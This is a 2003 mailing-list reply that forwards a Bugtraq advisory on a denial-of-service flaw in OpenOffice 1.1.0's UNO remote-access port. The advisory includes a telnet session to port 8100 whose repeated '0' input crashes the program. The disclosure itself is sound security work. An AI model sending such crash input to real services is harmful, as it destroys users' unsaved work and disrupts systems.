Security bugs are reported here via bugzilla

[Seth Woolley <seth AT tautology.org>]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Is there a patch available for it?  I suppose we could tell people, "don't
do it if you don't want to lose your work" via a security announcement and
call it good. ;)

Seth

On Wed, 8 Oct 2003, Craig Van Tassle wrote:

>
>
> -------- Original Message --------
> Subject: Openoffice 1.1.0 DoS
> Date: Wed, 8 Oct 2003 13:15:10 +0200 (MES)
> From: Marc Schoenefeld <schonef AT uni-muenster.de>
> To: bugtraq AT securityfocus.com
>
> ================================
> Illegalaccess.org Security Alert
> ================================
>
>   Date        : 08/10/2003
>   Application : Openoffice
>   Version     : 1.1.0
>   Website     : http://www.Openoffice.org
>   Problems    : Desktop Denial-Of-Service
>   Severity    : Low
>   Contributor : Marc Schoenefeld, marc AT org.illegalaccess
>
> When enabling remote access (UNO) to OpenOffice,
> it opens a port (default 8100). This is done typically with
> the following command:
>
> C:\Programme\oo1.1.0\program> soffice
> "-accept=socket,host=<ip>,port=8100;urp;"
>
> where <ip> states the listening address
>
> When issuing the commands listed below, Openoffice crashes and
> prompts the error reporting box.
>
> ===================================================================
> C:\Dokumente und Einstellungen\User>telnet 127.0.0.1 8100
> Trying 127.0.0.1...
> Connected to 127.0.0.1.
> Escape character is '^]'.
> 0
> 0
> 0
> 0
> 0
> 0
> 0
> 0
> 0
> 0
> 0
> 0
> ===================================================================
>
>
> --
>
> Never be afraid to try something new. Remember, amateurs built the
> ark; professionals built the Titanic. -- Anonymous
>
> Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer
>
>
> _______________________________________________
> SM-Security mailing list
> SM-Security AT lists.ibiblio.org
> http://lists.ibiblio.org/mailman/listinfo/sm-security
>

- --
Seth Alan Woolley <seth at tautology.org>, SPAM/UCE is unauthorized
Key id 7BEACC7D = 2978 0BD1 BA48 B671 C1EB 93F7 EDF4 3CDF 7BEA CC7D
Full Key at seth.tautology.org and pgp.mit.edu. info: www.gnupg.org
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (FreeBSD)

iD8DBQE/hIpQ7fQ833vqzH0RAroFAJ4uztQhhmIR65fkc3yymvdOO3ddAgCdFk86
hRSXp31co5oA3FsLT/9zJf4=
=skrb
-----END PGP SIGNATURE-----